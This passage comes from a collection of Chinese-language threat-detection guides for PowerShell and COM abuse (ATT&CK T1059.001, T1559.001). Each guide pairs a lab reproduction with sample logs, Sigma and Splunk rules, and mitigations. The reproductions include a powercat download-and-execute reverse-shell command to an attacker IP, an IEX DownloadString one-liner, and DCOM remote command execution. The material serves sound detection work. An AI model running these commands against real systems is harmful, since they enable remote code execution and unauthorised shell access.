\n   在攻击机上启动`nc`监听反弹Shell：\n   ```bash\n   nc -lvp 1234\n   ```\n\n4. **靶机执行Payload**  \n   在靶机上运行以下PowerShell命令，下载并执行`powercat.ps1`：\n   ```cmd\n   powershell -c \"IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.126.146/powercat.ps1');powercat -c 192.168.126.146 -p 1234 -e cmd\"\n   ```\n\n5. **验证反弹Shell**  \n   检查攻击机的`nc`终端，确认收到反弹Shell：\n   ```bash\n   nc -lvp 1234\n   listening on [any] 1234 ...\n   192.168.126.149: inverse host lookup failed: Unknown host\n   connect to [192.168.126.146] from (UNKNOWN) [192.168.126.149] 49339\n   Microsoft Windows [Version 6.1.7601]\n   Copyright (c) 2009 Microsoft Corporation. All rights reserved.\n   ```\n\n## 测试留痕\n\n```log\n#sysmon日志\nEventID: 1\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\nFileVersion: 6.1.7600.16385 (win7_rtm.090713-1255)\nDescription: Windows PowerShell\nProduct: Microsoft® Windows® Operating System\nCompany: Microsoft Corporation\nOriginalFileName: PowerShell.EXE\nCommandLine: powershell  -c \"IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.126.146/powercat.ps1');powercat -c 192.168.126.146 -p 1234 -e cmd\"\n\n# win7安全日志\nEventID: 4688\n进程信息:\n新进程 ID: 0x330\n新进程名: C:\\Windows\\System32\\cmd.exe\n令牌提升类型: TokenElevationTypeLimited (3)\n\nEventID: 4688\n进程信息:\n新进程 ID: 0xa44\n新进程名: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\n\n#Powershell V5(含V5以上)配置审核策略，可以达到记录命令行参数的效果。通过命令行参数进行监控分析。当然也可以采用配置windows server 2008(不含2008)以上审核进程创建策略，同样也可以对命令行参数进行记录，最后达到监控效果。\n```\n\n## 检测规则/思路\n\n**检测规则**  \n通过分析PowerShell日志、Sysmon和Windows安全日志，检测PowerShell执行远程Payload的异常行为。以下是具体思路：\n\n1. **日志分析**：\n   - 收集PowerShell日志（事件ID 4104），提取包含下载函数（如`Net.WebClient`、`DownloadString`）或反弹Shell命令的脚本块。  \n   - 收集Sysmon事件ID 1或Windows安全事件ID 4688，检测`powershell.exe`的命令行中包含下载或执行相关关键字。  \n   - 监控Sysmon事件ID 3，检测PowerShell发起的HTTP请求或异常网络连接。\n\n2. **Sigma规则（进程创建）**：\n   ```yaml\n   title: PowerShell通过URL下载并执行Payload\n   id: 8e9f0a1b-9c4d-4e3f-c1b0-6a7b8e9f0a1c\n   status: stable\n   description: 检测PowerShell通过URL下载并执行Payload的进程，可能表明恶意行为\n   author: 12306Bro, Grok\n   date: 2025/06/06\n   references:\n     - https://attack.mitre.org/techniques/T1059/001/\n   tags:\n     - attack.execution\n     - attack.t1059.001\n   logsource:\n     category: process_creation\n     product: windows\n   detection:\n     selection:\n       Image|endswith: '\\powershell.exe'\n       CommandLine|contains:\n         - 'new-object system.net.webclient).downloadstring('\n         - 'new-object system.net.webclient).downloadfile('\n         - 'new-object net.webclient).downloadstring('\n         - 'new-object net.webclient).downloadfile('\n         - 'IEX'\n         - 'http'\n     condition: selection\n   fields:\n     - CommandLine\n     - ParentCommandLine\n   falsepositives:\n     - 合法的软件更新或脚本下载\n     - 管理员运行的维护脚本\n   level: medium\n   ```\n\n3. **Sigma规则（PowerShell日志）**：\n   ```yaml\n   title: PowerShell脚本块下载并执行Payload\n   id: 9f0a1b2c-0d5e-4f4a-d2c1-7b8c9f0a1b2d\n   status: stable\n   description: 检测PowerShell脚本块中包含下载并执行Payload的命令\n   author: Grok\n   date: 2025/06/06\n   logsource:\n     product: windows\n     service: powershell\n   detection:\n     selection:\n       EventID: 4104\n       ScriptBlockText|contains:\n         - 'Net.WebClient'\n         - 'DownloadString'\n         - 'DownloadFile'\n         - 'IEX'\n         - 'http'\n     condition: selection\n   falsepositives:\n     - 合法的脚本下载（如软件更新）\n     - 开发或测试环境的正常行为\n   level: medium\n   ```\n\n4. **SIEM规则**：\n   - 检测PowerShell下载和执行Payload的进程创建和网络活动。\n   - 示例Splunk查询（Sysmon）：\n     ```spl\n     source=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=1 Image=\"*\\powershell.exe\" (CommandLine=\"*Net.WebClient*\" OR CommandLine=\"*DownloadString*\" OR CommandLine=\"*DownloadFile*\" OR CommandLine=\"*IEX*\" OR CommandLine=\"*http*\") | stats count by Image, CommandLine, ComputerName, User\n     ```\n   - 示例Splunk查询（PowerShell日志）：\n     ```spl\n     source=\"Microsoft-Windows-PowerShell/Operational\" EventCode=4104 (ScriptBlockText=\"*Net.WebClient*\" OR ScriptBlockText=\"*DownloadString*\" OR ScriptBlockText=\"*DownloadFile*\" OR ScriptBlockText=\"*IEX*\" OR ScriptBlockText=\"*http*\") | stats count by ScriptBlockText, ComputerName, User\n     ```\n\n5. **网络流量分析**：\n   - 监控PowerShell发起的HTTP/HTTPS请求或异常出站连接（如反弹Shell）。  \n   - 示例Wireshark过滤器：\n     ```plaintext\n     tcp.port == 1234 or (http.request and ip.src == <target_ip> and http.request.uri contains \".ps1\")\n     ```\n\n6. **威胁情报整合**：\n   - 检查PowerShell访问的URL、IP或下载文件的哈希值是否与已知恶意活动相关，结合威胁情报平台（如VirusTotal、AlienVault）。\n\n## 建议\n\n### 缓解措施\n\n防御PowerShell执行Payload的恶意行为需从系统加固、权限控制和监控入手：\n\n1. **限制PowerShell执行**  \n   - 配置PowerShell执行策略，限制未签名脚本运行：  \n     ```powershell\n     Set-ExecutionPolicy -Scope LocalMachine -ExecutionPolicy RemoteSigned\n     ```\n\n2. **禁用不必要的PowerShell功能**  \n   - 禁用PowerShell 2.0（若存在）：  \n     ```cmd\n     dism /online /disable-feature /featurename:MicrosoftWindowsPowerShellV2\n     ```\n\n3. **启用AMSI和日志记录**  \n   - 确保反恶意软件扫描接口（AMSI）启用，检测恶意脚本执行。  \n   - 启用PowerShell模块日志记录、脚本块日志记录和脚本执行日志记录。\n\n4. **网络访问控制**  \n   - 配置防火墙，限制PowerShell的出站HTTP/HTTPS连接，仅允许白名单域名。  \n   - 使用代理服务器监控和过滤PowerShell的网络流量。\n\n5. **凭据保护**  \n   - 启用多因素认证（MFA）保护管理员账户。  \n   - 实施强密码策略，避免凭据泄露。\n\n6. **日志和监控**  \n   - 启用PowerShell日志（事件ID 4103/4104）、Sysmon日志（事件ID 1/3/11）和命令行参数记录（事件ID 4688）。  \n   - 配置SIEM检测PowerShell下载和执行Payload的命令及网络活动。\n\n## 参考推荐\n\n- MITRE ATT&CK: T1059.001  \n  <https://attack.mitre.org/techniques/T1059/001/>  \n- PowerShell事件日志配置  \n  <https://github.com/12306Bro/Hunting-guide/blob/master/Powershell-id.md>  \n- Powercat工具  \n  <https://github.com/besimorhino/powercat>"
  },
  {
    "path": "Windows/04执行/T1059.001-Win-检测PowerShell2.0版本执行.md",
    "content": "# T1059.001-Win-检测PowerShell 2.0版本执行情况\n\n## 描述\n\n攻击者可能滥用PowerShell执行命令和脚本，实现信息发现、恶意代码执行或横向移动（T1059.001）。PowerShell是Windows操作系统内置的强大命令行和脚本环境，支持本地和远程操作。攻击者可通过PowerShell运行恶意脚本、下载可执行文件（包括内存执行以规避磁盘检测）或调用系统API执行高级操作。远程执行PowerShell命令通常需要管理员权限。\n\nPowerShell 2.0是较旧且不安全的版本，即使安装了更高版本（如PowerShell 5.0），2.0版本可能仍保留在系统中。攻击者可能故意降级使用PowerShell 2.0（通过`powershell.exe -Version 2`），以规避现代PowerShell的安全功能，如脚本块日志记录和反恶意软件扫描接口（AMSI）。检测PowerShell 2.0的执行情况有助于发现潜在的恶意行为，特别是试图隐藏的攻击活动。\n\n## 测试案例\n\n1. **降级执行恶意脚本**  \n   攻击者使用`powershell.exe -Version 2`运行恶意脚本，规避AMSI和日志记录。\n\n2. **内存中Payload执行**  \n   攻击者通过PowerShell 2.0从远程服务器下载并在内存中执行Payload，绕过磁盘检测。\n\n## 检测日志\n\n**Windows PowerShell日志**  \n- **Microsoft-Windows-PowerShell/Operational**：记录PowerShell命令执行和脚本块信息。  \n  - 事件ID 4103：记录模块日志和命令执行。  \n  - 事件ID 4104：记录脚本块执行。\n\n**Windows安全日志**  \n- **事件ID 4688**：记录进程创建，包含`powershell.exe`的命令行参数。\n\n**Sysmon日志**  \n- **事件ID 1**：记录进程创建，包含`powershell.exe`的完整命令行和父进程信息。\n\n**配置日志记录**  \n- 启用PowerShell日志：  \n  - 打开`gpedit.msc`：`计算机配置 > 管理模板 > Windows组件 > Windows PowerShell`。  \n  - 启用“启用模块日志记录”、“启用脚本块日志记录”和“启用脚本执行日志记录”。  \n- 启用命令行参数记录：`本地计算机策略 > 计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。  \n- 部署Sysmon以增强进程监控。\n\n## 测试复现\n\n### 环境准备\n- **靶机**：Windows 7/10/2016，安装PowerShell 2.0（默认包含在Windows 7及部分Windows 10系统中）。  \n- **日志**：配置Sysmon、Windows安全日志和PowerShell日志。  \n- **权限**：测试账户需具备本地权限。\n\n### 攻击步骤\n1. **执行PowerShell 2.0命令**  \n   在靶机上运行以下命令，强制使用PowerShell 2.0：\n   ```cmd\n   powershell -Version 2 -Command \"whoami\"\n   ```\n\n2. **验证结果**  \n   - 检查命令是否成功执行（例如，输出当前用户名）。  \n   - 如果系统缺少.NET Framework 2.0，可能返回错误：\n     ```plaintext\n     未安装 .NET Framework 版本 v2.0.50727，运行 Windows PowerShell 版本 2 需要此版本的 .NET Framework。\n     ```\n\n**注意**：此复现仅用于学习和测试目的，需在合法授权的测试环境中进行，切勿用于非法活动。\n\n## 测试留痕\n\n- **Windows安全日志（事件ID 4688）**：\n  ```plaintext\n  EventID: 4688\n  New Process ID: 0x1158\n  New Process Name: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\n  Process Command Line: powershell -v 2 -Command \"whoami\"\n  Creator Process Name: C:\\Windows\\System32\\cmd.exe\n  Token Elevation Type: %%1938 (Limited)\n  Mandatory Label: Mandatory Label\\Medium Mandatory Level\n  ```\n- **Sysmon日志（事件ID 1）**：\n  ```plaintext\n  EventID: 1\n  Image: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\n  FileVersion: 10.0.19041.1\n  Description: Windows PowerShell\n  CommandLine: powershell -v 2 -Command \"whoami\"\n  User: <domain>\\12306br0\n  IntegrityLevel: Medium\n  ```\n- **PowerShell日志（事件ID 4104）**：\n  ```plaintext\n  EventID: 4104\n  ScriptBlockText: whoami\n  Path: N/A\n  UserID: <domain>\\12306br0\n  ```\n\n## 检测规则/思路\n\n**检测规则**  \n通过分析Sysmon、Windows安全日志和PowerShell日志，检测PowerShell 2.0版本的执行情况。以下是具体思路：\n\n1. **日志分析**：\n   - 收集Sysmon事件ID 1或Windows安全事件ID 4688，提取`powershell.exe`或`powershell_ise.exe`的命令行参数，重点关注`-v 2`、`-version 2`等降级标志。  \n   - 监控PowerShell日志（事件ID 4103/4104），检测PowerShell 2.0执行的脚本块。\n\n2. **Sigma规则**：\n   ```yaml\n   title: 检测PowerShell 2.0版本执行情况\n   id: 5b7c9e0f-6a3b-4c2d-b9f7-3e4f5c6e7f8a\n   status: stable\n   description: 检测PowerShell降级至2.0版本执行，可能表明规避AMSI或日志记录的恶意行为\n   author: 12306Bro\n   references:\n     - https://attack.mitre.org/techniques/T1059/001/\n     - https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries/blob/master/Execution/powershell-version-2.0-execution.md\n   tags:\n     - attack.execution\n     - attack.t1059.001\n   logsource:\n     category: process_creation\n     product: windows\n   detection:\n     selection:\n       Image|endswith:\n         - '\\powershell.exe'\n         - '\\powershell_ise.exe'\n       CommandLine|contains:\n         - '-v 2'\n         - '-v 2.0'\n         - '-version 2'\n         - '-version 2.0'\n     condition: selection\n   falsepositives:\n     - 合法的旧版脚本测试\n     - 管理员运行的兼容性测试\n   level: medium\n   ```\n\n3. **PowerShell日志规则**：\n   - 检测PowerShell 2.0执行的脚本块。\n   - Splunk查询：\n     ```spl\n     source=\"Microsoft-Windows-PowerShell/Operational\" (EventCode=4103 OR EventCode=4104) | where ScriptBlockText LIKE \"%-v 2%\" OR ScriptBlockText LIKE \"%-version 2%\"\n     ```\n\n4. **SIEM规则**：\n   - 检测PowerShell 2.0的进程创建。\n   - Splunk查询：\n     ```spl\n     source=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=1 Image IN (\"*\\\\powershell.exe\", \"*\\\\powershell_ise.exe\") CommandLine IN (\"*-v 2*\", \"*-version 2*\") | stats count by Image, CommandLine, ComputerName, User\n     ```\n\n5. **威胁情报整合**：\n   - 检查PowerShell命令的后续行为（如网络连接、文件下载）是否与已知恶意活动相关，结合威胁情报平台（如VirusTotal、AlienVault）。\n\n## 建议\n\n### 缓解措施\n\n防御PowerShell 2.0版本的恶意使用需从系统加固、权限控制和监控入手：\n\n1. **移除PowerShell 2.0**  \n   - 卸载PowerShell 2.0（Windows功能中禁用“Windows PowerShell 2.0引擎”）。  \n   - 命令：\n     ```cmd\n     dism /online /disable-feature /featurename:MicrosoftWindowsPowerShellV2\n     ```\n\n2. **限制PowerShell执行**  \n   - 配置PowerShell执行策略，限制未签名脚本运行：  \n     ```powershell\n     Set-ExecutionPolicy -Scope LocalMachine -ExecutionPolicy RemoteSigned\n     ```\n   - 使用AppLocker限制`powershell.exe`和`powershell_ise.exe`的执行。\n\n3. **启用AMSI和日志记录**  \n   - 确保AMSI启用，检测恶意脚本执行。  \n   - 启用PowerShell模块日志记录、脚本块日志记录和脚本执行日志记录。\n\n4. **凭据保护**  \n   - 启用多因素认证（MFA）保护管理员账户。  \n   - 实施强密码策略，避免凭据泄露。\n\n5. **日志和监控**  \n   - 启用PowerShell日志（事件ID 4103/4104）和命令行参数记录（事件ID 4688、Sysmon ID 1）。  \n   - 配置SIEM检测PowerShell 2.0的降级执行行为。\n\n### 检测\n\n检测工作应集中在PowerShell 2.0的执行行为上，包括但不限于：  \n- **进程行为监控**：分析Sysmon或Windows安全日志，检测`powershell.exe`或`powershell_ise.exe`使用`-v 2`或`-version 2`参数。  \n- **PowerShell日志监控**：检查PowerShell日志（事件ID 4103/4104），识别降级执行的脚本块。  \n- **行为分析**：通过EDR检测PowerShell 2.0执行后的异常活动（如网络连接、文件下载）。  \n- **威胁情报整合**：结合威胁情报，检查PowerShell命令的后续行为是否与已知恶意活动相关。\n\n## 参考推荐\n\n- MITRE ATT&CK: T1059.001  \n  <https://attack.mitre.org/techniques/T1059/001/>  \n- 检测和缓解PowerShell攻击的方法  \n  <https://blog.csdn.net/qq_36334464/article/details/101519839>  \n- PowerShell版本2.0执行  \n  <https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries/blob/master/Execution/powershell-version-2.0-execution.md>  \n- PowerShell与威胁狩猎  \n  <https://www.freebuf.com/articles/terminal/267080.html>"
  },
  {
    "path": "Windows/04执行/T1059.001-Win-检测PowerShell下载文件.md",
    "content": "# T1059-001-Win-检测Powershell下载文件\n\n## 描述\n\n攻击者可能滥用PowerShell执行命令和脚本，以实现信息发现、恶意代码执行或横向移动（T1059.001）。PowerShell是Windows操作系统内置的强大命令行和脚本环境，支持本地和远程操作。攻击者常利用PowerShell从互联网下载恶意文件（如脚本、可执行文件），并在磁盘或内存中执行，规避传统安全检测。常见的下载方法包括使用`Net.WebClient`、`Invoke-WebRequest`、`Start-BitsTransfer`等 cmdlet，或通过`Invoke-Expression`（IEX）直接执行远程脚本。\n\nPowerShell下载文件的典型特征是命令行中包含HTTP/HTTPS URL或特定的下载函数调用。攻击者可能结合内存执行技术（如`Invoke-Shellcode`）或压缩/编码技术，进一步隐藏恶意行为。由于PowerShell是合法工具，其行为可能被误认为是正常操作，增加检测难度。\n\n## 测试案例\n\n1. **下载并执行远程脚本**  \n   攻击者使用`IEX`和`Net.WebClient.DownloadString`从远程服务器下载并执行恶意脚本。\n\n2. **下载可执行文件**  \n   攻击er通过`Invoke-WebRequest`或`Net.WebClient.DownloadFile`下载恶意可执行文件到本地磁盘。\n\n## 检测日志\n\n**Windows PowerShell日志**  \n- **Microsoft-Windows-PowerShell/Operational**：记录PowerShell命令执行和脚本块信息。  \n  - 事件ID 4103：记录模块日志和命令执行。  \n  - 事件ID 4104：记录脚本块执行，包含下载命令的详细信息。\n\n**Windows安全日志**  \n- **事件ID 4688**：记录进程创建，包含`powershell.exe`的命令行参数。\n\n**Sysmon日志**  \n- **事件ID 1**：记录进程创建，包含`powershell.exe`的完整命令行和父进程信息。  \n- **事件ID 3**：记录网络连接，可能涉及PowerShell发起的HTTP请求。  \n- **事件ID 11**：记录文件创建，可能涉及下载的文件写入磁盘。\n\n**配置日志记录**  \n- 启用PowerShell日志：  \n  - 打开`gpedit.msc`：`计算机配置 > 管理模板 > Windows组件 > Windows PowerShell`。  \n  - 启用“启用模块日志记录”、“启用脚本块日志记录”和“启用脚本执行日志记录”。  \n- 启用命令行参数记录：`本地计算机策略 > 计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。  \n- 部署Sysmon以增强进程和网络活动监控。\n\n## 测试复现\n\n### 环境准备\n- **靶机**：Windows 7/10/2016，安装PowerShell（默认包含）。  \n- **日志**：配置Sysmon、Windows安全日志和PowerShell日志。  \n- **权限**：测试账户需具备本地权限。  \n- **网络**：确保靶机可访问互联网或测试服务器。\n\n### 攻击步骤\n\n```powershell\nPS C:\\Users\\12306br0> IEX (New-Object System.Net.Webclient).DownloadString('http://blog.csdn.net/huangxvhui88/article/details/89361287')\n```\n\n## 测试留痕\n\n```yml\nPowershell事件ID：4104\n正在创建 Scriptblock 文本(已完成 1，共 1):\nIEX (New-Object System.Net.Webclient).DownloadString('http://blog.csdn.net/huangxvhui88/article/details/89361287')\n\nScriptBlock ID: e9f29288-34e7-497f-8fff-9a6cf6c355da\n```\n\n## 检测规则/思路\n\n**检测规则**  \n通过分析PowerShell日志、Sysmon和Windows安全日志，检测PowerShell下载文件的异常行为。以下是具体思路：\n\n1. **日志分析**：\n   - 收集PowerShell日志（事件ID 4104），提取包含下载函数（如`Net.WebClient`、`Invoke-WebRequest`）或HTTP URL的脚本块。  \n   - 收集Sysmon事件ID 1或Windows安全事件ID 4688，检测`powershell.exe`或`powershell_ise.exe`的命令行中包含下载相关关键字。  \n   - 监控Sysmon事件ID 3，检测PowerShell发起的HTTP/HTTPS连接。\n\n2. **Sigma规则（进程创建）**：\n   ```yaml\n   title: 检测PowerShell下载文件行为\n   id: 6c7d8e0f-7a3b-4c2d-b9f8-4e5f6c7e8f9a\n   status: stable\n   description: 检测PowerShell执行下载文件的行为，可能表明恶意脚本执行\n   references:\n     - https://attack.mitre.org/techniques/T1059/001/\n     - https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries/blob/master/Execution/PowerShell%20downloads.txt\n   tags:\n     - attack.execution\n     - attack.t1059.001\n   logsource:\n     category: process_creation\n     product: windows\n   detection:\n     selection:\n       Image|endswith:\n         - '\\powershell.exe'\n         - '\\powershell_ise.exe'\n       CommandLine|contains:\n         - 'Net.WebClient'\n         - 'DownloadFile'\n         - 'DownloadString'\n         - 'Invoke-WebRequest'\n         - 'Start-BitsTransfer'\n         - 'IEX'\n         - 'http'\n     condition: selection\n   falsepositives:\n     - 合法的软件更新或脚本下载\n     - 管理员运行的维护脚本\n   level: medium\n   ```\n\n3. **Sigma规则（PowerShell日志）**：\n   ```yaml\n   title: 检测PowerShell脚本块下载行为\n   id: 7d8e9f0a-8b4c-4d3e-c0a9-5f6a7d8f9a0b\n   status: stable\n   description: 检测PowerShell脚本块中包含下载行为的命令\n   logsource:\n     product: windows\n     service: powershell\n   detection:\n     selection:\n       EventID: 4104\n       ScriptBlockText|contains:\n         - 'Net.WebClient'\n         - 'DownloadFile'\n         - 'DownloadString'\n         - 'Invoke-WebRequest'\n         - 'Start-BitsTransfer'\n         - 'IEX'\n         - 'http'\n     condition: selection\n   falsepositives:\n     - 合法的脚本下载（如软件更新）\n     - 开发或测试环境的正常行为\n   level: medium\n   ```\n\n4. **SIEM规则**：\n   - 检测PowerShell下载行为的进程创建和网络活动。\n   - 示例Splunk查询（Sysmon）：\n     ```spl\n     source=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=1 Image IN (\"*\\\\powershell.exe\", \"*\\\\powershell_ise.exe\") (CommandLine=\"*Net.WebClient*\" OR CommandLine=\"*DownloadFile*\" OR CommandLine=\"*DownloadString*\" OR CommandLine=\"*Invoke-WebRequest*\" OR CommandLine=\"*Start-BitsTransfer*\" OR CommandLine=\"*IEX*\" OR CommandLine=\"*http*\") | stats count by Image, CommandLine, ComputerName, User\n     ```\n   - 示例Splunk查询（PowerShell日志）：\n     ```spl\n     source=\"Microsoft-Windows-PowerShell/Operational\" EventCode=4104 (ScriptBlockText=\"*Net.WebClient*\" OR ScriptBlockText=\"*DownloadFile*\" OR ScriptBlockText=\"*DownloadString*\" OR ScriptBlockText=\"*Invoke-WebRequest*\" OR ScriptBlockText=\"*Start-BitsTransfer*\" OR ScriptBlockText=\"*IEX*\" OR ScriptBlockText=\"*http*\") | stats count by ScriptBlockText, ComputerName, User\n     ```\n\n5. **网络流量分析**：\n   - 监控PowerShell发起的HTTP/HTTPS请求，检测可疑URL。  \n   - 示例Wireshark过滤器：\n     ```plaintext\n     http.request and ip.src == <target_ip> and http.request.uri contains \".ps1\"\n     ```\n\n6. **威胁情报整合**：\n   - 检查PowerShell访问的URL或下载文件的哈希值是否与已知恶意活动相关，结合威胁情报平台（如VirusTotal、AlienVault）。\n\n## 建议\n\n### 缓解措施\n\n防御PowerShell下载文件的恶意行为需从系统加固、权限控制和监控入手：\n\n1. **限制PowerShell执行**  \n   - 配置PowerShell执行策略，限制未签名脚本运行：  \n     ```powershell\n     Set-ExecutionPolicy -Scope LocalMachine -ExecutionPolicy RemoteSigned\n     ```\n   - 使用AppLocker限制`powershell.exe`和`powershell_ise.exe`的执行。\n\n2. **禁用不必要的PowerShell功能**  \n   - 禁用PowerShell 2.0（Windows功能中禁用“Windows PowerShell 2.0引擎”）：  \n     ```cmd\n     dism /online /disable-feature /featurename:MicrosoftWindowsPowerShellV2\n     ```\n\n3. **启用AMSI和日志记录**  \n   - 确保反恶意软件扫描接口（AMSI）启用，检测恶意脚本执行。  \n   - 启用PowerShell模块日志记录、脚本块日志记录和脚本执行日志记录。\n\n4. **网络访问控制**  \n   - 配置防火墙，限制PowerShell的出站HTTP/HTTPS连接，仅允许白名单域名。  \n   - 使用代理服务器监控和过滤PowerShell的网络流量。\n\n5. **凭据保护**  \n   - 启用多因素认证（MFA）保护管理员账户。  \n   - 实施强密码策略，避免凭据泄露。\n\n6. **日志和监控**  \n   - 启用PowerShell日志（事件ID 4103/4104）、Sysmon日志（事件ID 1/3/11）和命令行参数记录（事件ID 4688）。  \n   - 配置SIEM检测PowerShell下载相关的命令和网络活动。\n\n### 检测\n\n检测工作应集中在PowerShell下载文件的行为上，包括但不限于：  \n- **脚本块监控**：分析PowerShell日志（事件ID 4104），检测包含下载函数或URL的脚本块。  \n- **进程行为监控**：分析Sysmon或Windows安全日志，检测`powershell.exe`的下载相关命令行参数。  \n- **网络流量监控**：检查PowerShell发起的HTTP/HTTPS请求，识别可疑URL。  \n- **行为分析**：通过EDR检测PowerShell下载后的异常活动（如文件执行、网络连接）。  \n- **威胁情报整合**：结合威胁情报，检查下载的URL或文件是否与已知恶意活动相关。\n\n## 参考推荐\n\n- MITRE ATT&CK: T1059.001  \n  <https://attack.mitre.org/techniques/T1059/001/>  \n- PowerShell 下载文件  \n  <https://www.pstips.net/powershell-download-files.html>  \n- 检测PowerShell下载文件行为  \n  <https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries/blob/master/Execution/PowerShell%20downloads.txt>  \n- PowerShell与威胁狩猎  \n  <https://www.freebuf.com/articles/terminal/267080.html>"
  },
  {
    "path": "Windows/04执行/T1559.001-Win-利用进程间通信执行-组件对象模型-COM.md",
    "content": "# T1559.001-Win-利用进程间通信执行-组件对象模型-COM\n\n## 描述\n\n攻击者可能滥用Windows组件对象模型（COM）执行本地或远程代码（T1559.001）。COM是Windows原生的进程间通信（IPC）机制，允许客户端对象调用服务器对象（通常为DLL或EXE）的接口方法，支持多种编程语言（如C、C++、PowerShell）。分布式COM（DCOM）扩展了COM功能，通过远程过程调用（RPC）支持跨网络的组件交互。攻击者可利用暴露的COM接口执行任意代码、创建计划任务、下载文件或实现特权提升和持久性。\n\nDCOM的滥用特别适用于横向移动（T1021.003），攻击者可通过Office应用程序（如Excel、Outlook）或具有不安全方法的COM对象（如MMC20.Application、ShellBrowserWindow）在远程主机上执行命令。DCOM执行的进程通常为托管COM服务器的合法进程（如explorer.exe），增强了隐蔽性，增加了检测难度。\n\n## 测试案例\n\n1. **本地COM执行命令**  \n   攻击者使用`MMC20.Application`的`ExecuteShellCommand`方法在本地启动恶意进程（如`calc.exe`）。\n\n2. **远程DCOM横向移动**  \n   攻击者通过DCOM调用远程主机的`ShellBrowserWindow`，在目标主机上运行恶意Payload。\n\n## 检测日志\n\n**Windows安全日志**  \n- **事件ID 4688**：记录进程创建，包含由COM/DCOM触发的子进程信息（需启用命令行记录）。  \n- **事件ID 4672**：记录权限分配，可能涉及DCOM调用时的特权变化。\n\n**Sysmon日志**  \n- **事件ID 1**：记录进程创建，包含COM/DCOM触发的进程、命令行和父进程信息。  \n- **事件ID 3**：记录网络连接，涉及DCOM的RPC通信（端口135或动态端口）。  \n- **事件ID 7**：记录DLL加载，可能涉及COM服务器DLL的加载。\n\n**Windows RPC日志**  \n- **Microsoft-Windows-RPC/Operational**：记录RPC和DCOM活动，可能包含远程调用信息。\n\n**配置日志记录**  \n- 启用命令行参数记录：  \n  - 路径：`计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。  \n- 部署Sysmon以增强进程、DLL加载和网络活动监控。  \n- 启用RPC日志：`计算机配置 > 管理模板 > 系统 > 远程过程调用 > 启用RPC终结点映射器日志`。\n\n## 测试复现\n\n### 环境准备\n- **靶机**：Windows Server 2012或Windows 10（PowerShell 3.0+，支持`Get-CimInstance`）。  \n- **权限**：本地管理员权限（DCOM远程调用需域用户或管理员权限）。  \n- **网络**：确保靶机和测试机可通过RPC通信（端口135、动态端口1024-65535）。  \n- **日志**：配置Sysmon、Windows安全日志和RPC日志。\n\n### 攻击步骤\n1. **获取本地DCOM程序列表**  \n   - 在靶机上以管理员权限运行PowerShell，列出DCOM应用程序：\n   ```powershell\n   Get-CimInstance Win32_DCOMApplication\n   ```\n   - 对于Windows 7或Server 2008（PowerShell 2.0），使用：\n     ```powershell\n     Get-WmiObject -Namespace ROOT\\CIMV2 -Class Win32_DCOMApplication\n     ```\n\n2. **本地COM执行命令**  \n   使用`MMC20.Application`的`ExecuteShellCommand`方法启动计算器：\n   ```powershell\n   $com = [Activator]::CreateInstance([Type]::GetTypeFromProgID(\"MMC20.Application\", \"127.0.0.1\"))\n   $com.Document.ActiveView.ExecuteShellCommand(\"cmd.exe\", $null, \"/c calc.exe\", \"Minimized\")\n   ```\n\n3. **远程DCOM执行命令（可选）**  \n   使用DCOM在远程主机（IP：192.168.1.100）上执行命令：\n   ```powershell\n   $com = [Activator]::CreateInstance([Type]::GetTypeFromProgID(\"MMC20.Application\", \"192.168.1.100\"))\n   $com.Document.ActiveView.ExecuteShellCommand(\"cmd.exe\", $null, \"/c calc.exe\", \"Minimized\")\n   ```\n   - 确保防火墙允许DCOM通信（端口135、动态端口），且用户具有远程DCOM权限。\n\n**注意**：此复现仅用于学习和测试目的，需在合法授权的测试环境中进行，切勿用于非法活动。\n\n## 测试留痕\n\n- **Sysmon日志（事件ID 1）**：\n  ```plaintext\n  EventID: 1\n  Image: C:\\Windows\\System32\\calc.exe\n  CommandLine: calc.exe\n  ParentImage: C:\\Windows\\System32\\mmc.exe\n  User: JACKMA\\Administrator\n  IntegrityLevel: High\n  ```\n- **Windows安全日志（事件ID 4688）**：\n  ```plaintext\n  EventID: 4688\n  New Process ID: 0x1234\n  New Process Name: C:\\Windows\\System32\\calc.exe\n  Process Command Line: calc.exe\n  Creator Process Name: C:\\Windows\\System32\\mmc.exe\n  Token Elevation Type: TokenElevationTypeDefault (1)\n  ```\n- **Sysmon日志（事件ID 3，远程DCOM）**：\n  ```plaintext\n  EventID: 3\n  Image: C:\\Windows\\System32\\svchost.exe\n  DestinationIp: 192.168.1.100\n  DestinationPort: 135\n  Protocol: tcp\n  ```\n- **Sysmon日志（事件ID 7）**：\n  ```plaintext\n  EventID: 7\n  Image: C:\\Windows\\System32\\mmc.exe\n  ImageLoaded: C:\\Windows\\System32\\mmc20.dll\n  ```\n\n## 检测规则/思路\n\n**检测规则**  \n通过分析Sysmon、Windows安全日志和RPC日志，检测COM/DCOM的异常执行行为。以下是具体思路：\n\n1. **日志分析**：\n   - 收集Sysmon事件ID 1或Windows安全事件ID 4688，检测由COM/DCOM触发的异常子进程（如`calc.exe`由`mmc.exe`启动）。  \n   - 监控Sysmon事件ID 7，检查COM服务器DLL的加载，识别非典型DLL。  \n   - 监控Sysmon事件ID 3，检测DCOM的RPC通信（端口135或动态端口）。  \n   - 检查RPC日志，识别异常的DCOM调用。\n\n2. **Sigma规则**：\n   ```yaml\n   title: 可疑的COM/DCOM执行行为\n   id: 5e6f7a8b-9c0d-1e2f-3c4d-5e6f7a8b9c0d\n   status: experimental\n   description: 检测COM/DCOM触发的异常进程创建，可能表明恶意执行\n   references:\n     - https://attack.mitre.org/techniques/T1559/001/\n     - 